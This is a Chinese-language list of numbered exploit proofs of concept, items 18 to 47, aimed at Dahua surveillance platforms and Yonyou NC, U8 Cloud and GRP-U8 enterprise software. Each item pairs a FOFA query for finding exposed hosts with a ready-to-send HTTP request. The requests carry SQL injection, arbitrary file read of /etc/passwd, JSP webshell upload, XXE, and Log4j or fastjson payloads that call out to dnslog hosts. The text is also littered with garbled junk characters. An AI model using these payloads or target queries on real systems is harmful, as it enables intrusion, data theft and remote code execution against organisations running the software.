8 H  W8 w5 X' @4 ^5 ]# KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; Y% ?# w# q2 l8 jContent-Length: 345
5 }+ C$ F0 I# X$ L7 {2 }Accept-Encoding: gzip
' @5 d3 g& V: l) w
5 K, }4 A( H/ [* j6 P! T6 c<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
1 k( z  s/ s* I# o9 U7 U- y    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
* Q( ]: j, {. c4 `) ~' W$ I$ K3 ]      </netMarkings>
1 w! j7 }9 I( C    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
6 F0 i$ |* o: _- _3 z
1 m# e9 d( ]0 K# F
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
0 u; d1 [& X) p/ e$ P/ L8 Y  `5 JFOFA：app="dahua-DSS"
$ B/ y# H: Z& G" S2 E* ]6 CGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ F4 f' {& i+ d) Y: S& wConnection: keep-alive

* Y1 S, r3 ~+ ]. n1 A; e
. U1 S1 p* y, z2 }9 W
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
0 B  _% ?( U/ O3 u& [- ]FOFA：app="dahua-DSS"
* l% y8 z  {: k% pGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
5 Y# _/ S5 |" i) b9 r) ^' _3 CHost:
0 N, v5 {( Z6 S1 m+ I, E: vUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) h$ [! l. e  ]# V2 O# k0 D3 }Accept-Encoding: gzip, deflate
2 S' [/ E, J, }Accept: */*
. C3 W7 m9 a' vConnection: keep-alive
# p: J  t3 e$ @4 F0 C

8 R! r9 k$ O# a( M, ]2 F- N20. 大华ICC智能物联综合管理平台任意文件读取
* z9 A2 B2 H- qFOFA：body="*客户端会小于800*"
5 y. i: N# s+ K& ?/ q* e0 GGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
) w: G) U: A& Y- T' uHost: x.x.x.x
. O7 V# d+ q0 q! v, _$ ?User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 V0 G' @* C& s( H3 g1 TConnection: close
* k# Y- f- R) `' Q! h4 vAccept: */*
Accept-Language: en
Accept-Encoding: gzip
/ |; y' }" D# v% ]3 t& F0 G* g

3 r$ t. ^3 X/ ~' y21. 大华ICC智能物联综合管理平台random远程代码执行
- L: T; w, b1 k5 bFOFA：icon_hash="-1935899595"
) U+ W0 g0 N: W5 l4 ^- pPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. ~1 S  m: X* Q5 z. r2 ?% gHost: x.x.x.x
, B3 P( a% Y+ gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! a' C7 @. l# X/ d( y3 l9 lContent-Length: 161
Accept-Encoding: gzip
; }! @/ R5 V, P3 OConnection: close
Content-Type: application/json;charset=utf-8

{
! H7 e9 |2 M7 a"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
% Z# w# E+ g9 [* J  t
8 |  X+ a& C# ]" W8 e
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
7 K. q6 S8 [) W, pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
4 x6 [1 Y* M2 E) v% V+ W, {
{
8 F& q9 d* m+ s' o/ B1 D"loginName":"${jndi:ldap://dnslog}"
}
$ I. X& B3 J/ h- j* I
% b1 g4 Y; `5 A- Y5 ~: z1 A2 J

) u1 P( U. y) C+ f& o/ S9 F, ]23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
" s, R5 V$ U2 hFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
& d% d( e9 B1 Y6 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  M2 m# X$ T- f1 t" ]$ s  |Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
) D: g1 D* E/ LConnection: close

{
" Y3 U3 q% F) X( s4 w    "a":{
6 p8 V6 K4 x( }9 M( b; v' _        "@type":"com.alibaba.fastjson.JSONObject",
# o, r# G5 M: A% h       {"@type":"java.net.URL","val":"http://DNSLOG"}
0 U5 T9 I6 a) m% O  h        }""
1 ?  ?8 d% J9 L9 `# d2 X. d}


% T1 @% I4 S# ]7 D/ p% m24. 用友NC 6.5 accept.jsp任意文件上传
3 N  l, J9 v& ?3 J/ x2 Z; U! B3 ~FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
! p( h1 d0 o% CHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
/ w$ C  I  g! J  J& b; Y% VConnection: close
" `, c5 g; _4 |( ]Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
- i3 c1 x+ p8 R4 {' M% kContent-Type: text/plain

6 |# ~3 Y0 f$ f. {  ~) G  b<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
) c' W, {# t( w: T% u9 M# s
$ ]; ?! r" }. g5 N' m4 j\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
5 H. z0 `. U  Y7 C, G* e: Y$ x9 m
6 }- N; T! a" r0 u/ E
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
6 k  T$ x/ V3 bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
1 e/ d# a4 T2 R9 L5 ?# Z( WAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
$ L, x7 }: A! [$ ]8 T: o
' P; }8 R( ^3 wtype=1&dsname=ldap://dnslog
& M* s- G- u# Z! a% D3 i
  t+ ^5 F3 r! P- M3 J; g& z0 A
1 ?. i% T- o* R7 c/ [! N' x
  O" S. r2 v4 r8 \26. 用友NC linkVoucher SQL注入
" r2 M9 n" V! Y" TFOFA：app="用友-UFIDA-NC"
! g4 B2 o- p7 E" r. S+ LGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
3 \, Z9 k6 `0 E6 R) u1 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 m; f: ^  M' D2 y! B; {& N) JContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
! P4 A4 b6 |9 C2 ~Connection: keep-alive

' _- T0 i% y6 O$ r& p1 ]$ a. g1 N4 `$ E
' h, O- B  w! Q& L) F27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
( v9 l3 s3 [+ v: c2 sHost: your-ip
7 R- c0 `9 Z/ x& xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* ^1 Z1 m6 S+ ?; b: R( d. f) ZAccept-Encoding: identity
Connection: close
0 B: b) A7 S# d+ V7 OContent-Type: text/xml; charset=utf-8

5 O9 }. _) F7 `; K2 I
0 [1 Z" Y: e: a2 n- b28. 用友NC grouptemplet 任意文件上传
% g  x' U' l7 w; |* s  h) V+ zFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
& L& j4 }- ~' ~, A# V6 `1 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
0 X; E& g7 `& ]+ j; s
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
- v! C5 N9 o- S" a' Q8 A6 O8 yContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
+ l. y( {% |4 ]  Z5 _9 `! ~9 e

/uapim/static/pages/nc/head.jsp
$ p( J9 o7 Q9 K% f
29. 用友NC down/bill SQL注入
0 c* }# r' I, d& \4 W! IFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
  v9 V1 w3 p2 D4 THost: your-ip
1 r- b/ g" w! Z+ ?. aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( `0 y! `5 _- f* rAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
% u8 t+ K/ |% t7 J* Z$ p$ N
( s: n6 G# k1 Y/ d7 B/ k
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 e3 U+ l: I: }  t  SPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
' j) `3 U- e$ Z# R3 j6 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
6 Q3 j! \& X2 xConnection: close
1 z, C: w( V4 }, ^/ i) P5 t7 b
, W, O6 Q8 V& Z4 D6 O9 {, S------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
3 u, k- f# v- v: uContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
+ w: P9 ~! n3 }; o2 Gversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 R5 k& V5 z2 b' l. ?Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
) |; p; A" @* CContent-Type: application/x-www-form-urlencoded


8 W  D6 h' A- _$ ~# o32. 用友NC complainbilldetail SQL注入
1 p& m' Y% X) O. M% aversion= NC633、NC65
& e9 N) p* \! f/ M1 y. h5 J# ZFOFA：app="用友-UFIDA-NC"
: W; M4 ?9 `2 q8 K1 ^GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. l' o8 v  F" U" YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- q% ?- Z- `3 A6 ]( ]# B% ^Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' l; n% |2 f  W' x; o6 VAccept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
$ N  o/ Y, G" yGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ L7 b9 O# ^0 f7 C; y8 I: l$ }$ e- i# r' XAccept-Encoding: gzip, deflate
& J6 K* v: X) |5 N" oAccept: */*
/ \3 y" ]! k# k, d; ?) z" MConnection: keep-alive
8 e9 w+ C/ a- F& f1 _$ F
+ C5 S; J- y& S( V& M
: A: l0 s, d+ ]2 c3 C34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
; K* [; F! ~. z- x6 C3 ]5 EGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% D4 P: M/ j! F/ v! THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 q% E- x- H0 r6 ?, e* H0 ~* L4 kAccept-Encoding: gzip, deflate
  r- N" _5 D- {Accept: */*
( ?5 ^0 @* W$ qConnection: keep-alive
9 n- K0 W6 j7 }* j( A, K+ l- b
* s% D" O6 U( {. h8 ]% N* d
  s4 _  J6 J: i* B$ \, d35. 用友NC-Cloud importhttpscer任意文件上传
6 H5 M3 Y9 c4 @FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
2 O; Z* V/ W/ u: \9 eHost: 203.25.218.166:8888
5 E2 A, I4 ]8 [$ Y( vUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
/ B7 C! E/ U+ N2 @Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
) z1 k8 H  c4 u" JaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
& i( _& ^$ R1 m( q, L6 vContent-Length: 190
8 V- U% Z, p+ M) e! YContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
+ P- n) P  i/ R1 R) v' Q
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

5 l; j- C. I9 Q<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
2 f+ v) P& N! Y& G+ S3 p- G; M
$ M' c% n6 n( C3 E; G8 y# x; B
# n) M1 {6 n, x) Y* v4 Q; s36. 用友NC-Cloud soapFormat XXE
/ ~+ {4 E5 m( `  u* BFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% d! Z3 a" {  L# k+ [POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
# B' e! Z" U+ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 d0 ^6 o; j( _5 |: ]/ V7 tContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 k( g$ B8 m$ I! E# E9 c! L- K0 [Accept-Encoding: gzip, deflate
3 [# U- W! V% `/ F% yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; [: Z) ?5 F8 g0 E! ]' S1 mConnection: close
% s/ w/ t- M* K/ b* N+ OContent-Type: application/x-www-form-urlencoded
6 r" B. @  G7 O9 }/ qUpgrade-Insecure-Requests: 1
+ ?  {  e7 m1 M* O' F
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
. G" K3 T8 `/ `" O  b: h) Z

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
: M0 D' V$ F2 T$ P; NPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
3 Q/ B8 ^9 N( ]+ sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
) v. T  c4 L/ `+ M  U: GAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
- X0 Y4 j$ o6 ?+ ~! NSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
& d& k* j3 d; V<iup:getResult>
6 b# o7 r' [' }, V, c! }- {<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
* A+ c; ~# K* k  k  ~& A: j</soapenv:Envelope>


4 E+ f0 M1 _9 i6 T# f! L
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
. Y  M' P, u3 b- v* vPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
; z+ T, {8 {" J$ M; h0 \8 w: ?/ n1 wContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
/ f  C2 ~7 k# T$ @: v5 |Accept-Encoding: gzip, deflate
; B1 Q9 X- u/ x1 E: p7 N1 {3 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
2 K, |6 r! R3 k
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
, P! ^* P! `, D/ b0 l  v4 o- M
4 I( r& p: C7 i' ?- ]
" R* H, u3 W6 ~* ]& s39. 用友U8 Cloud RegisterServlet SQL注入
& t9 L7 a( i4 Z4 q" A( f: LFOFA：title="u8c"
+ F' x( w, W+ x* XPOST /servlet/RegisterServlet HTTP/1.1
! D1 u) Y# I8 r  aHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( G; V* a( G* d3 b) {" dConnection: close
% p; N/ w0 j- b8 E& C6 GContent-Length: 85
# I9 C' g; m( Q5 N; E$ ], |Accept: */*
Accept-Language: en
+ k5 r! a% D4 M. d7 ]# v$ lContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
' A6 E5 `. V+ o; V4 j
3 U! D1 c3 y% V3 q, o! o7 y% S1 susercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
5 Q* }) a) s. C, L! C
" O& J" e, R8 m/ a! j
2 I& Z7 p: {/ F; Y7 B. V40. 用友U8-Cloud XChangeServlet XXE
, ~) Q+ t4 W' e; E. WFOFA：app="用友-U8-Cloud"
4 B0 p; j; [& YPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
$ g0 J3 N+ N# L! P6 I" `- yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
- B" U3 l6 A0 @1 T$ L2 c5 P$ wConnection: close

  D/ h5 }. Z+ M; E<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
% g9 K; s% f9 t0 cGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
( _& m! ?4 _+ ^- iHost:
" p) B" w0 d. _$ n& v$ Y, oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* D+ w+ @6 u4 v3 bContent-Type: application/json
Accept-Encoding: gzip
Connection: close
1 y+ ?0 E( U: r

42. 用友GRP-U8 SmartUpload01 文件上传
( ~; W7 ?! x/ j* |FOFA：app="用友-GRP-U8"
& S+ O! I3 A1 l) _) F0 tPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
" c7 i% B& F3 `+ s) g. ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
9 K' x+ N1 Y2 k
  q8 X& t+ W$ P3 y2 i- CPAYLOAD


1 s& \9 g2 D+ ~- ihttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
' b1 q$ S% u: {  C
4 w" p6 M9 P8 i* ?43. 用友GRP-U8 userInfoWeb SQL注入致RCE
# A0 T6 ?1 r2 X, }, R) u  V* m  E' o  IFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
- A& c/ Y% I) l1 z" ~2 p$ mHost: your-ip
2 I3 [7 T; W* r% m, b: V, ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! k# q9 H6 k/ n3 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( W- r$ V5 F( K4 qSOAPAction:
Content-Type: text/xml;charset=UTF-8

& s6 n; |) Z: _5 k3 f# Q<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
3 I; k9 i( z" z. j6 X   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
" Z$ z7 Q5 ]; u! V8 B      </ser:getUserNameById>
( k, {  I% @& n( l% T" x( L- F   </soapenv:Body>
</soapenv:Envelope>
& ~% f5 |7 \8 O% k* B

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: w7 |, Z6 o* h. a. k2 ~3 {8 jAccept-Encoding: gzip, deflate
" O# C( N5 |9 S7 j+ ~, d" dAccept-Language: zh-CN,zh;q=0.9
$ y' n! ]4 ^% U1 Y. t% gConnection: close


45. 用友GRP-U8 ufgovbank XXE
) `% s- `5 K& F* d# vFOFA：app="用友-GRP-U8"
. q7 j/ _) _: O8 _POST /ufgovbank HTTP/1.1
# h1 g' }% `3 `8 t" N/ CHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
& m$ R# k4 {7 E% p8 V9 Q6 cConnection: close
Content-Length: 161
) V7 x$ p' q- H+ ~4 x; oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* m% g" e* ^) c* w& I' z( e! EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
8 s( A( S. U/ j' n( jAccept-Encoding: gzip
, @/ E' E& t3 l6 P1 ?
reqData=<?xml version="1.0"?>
2 y! y& Z) `2 C6 q; D/ c<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

7 {+ A% m- h/ F& q# v. c
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
  \7 b6 C+ n' N3 CFOFA：app="用友-GRP-U8"
" p. {3 G. E: {) \8 f% oGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# T% o) T, _& l8 lConnection: close
% k+ C' i2 r- w$ i, c. k, R

47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 l# H( E+ [4 U) [# HFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
$ l- b- y( V: Z% X9 q  r; sUpgrade-Insecure-Requests: 1
! v+ p+ r: y# h% c+ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( `/ `; D3 @$ ?4 F9 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
, `; Q& V1 o0 R" A& |Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
. D7 w& X$ v! B! R. ^. ?: R$ O  uConnection: close

. x8 w& I3 M; t/ I& {2 q# t

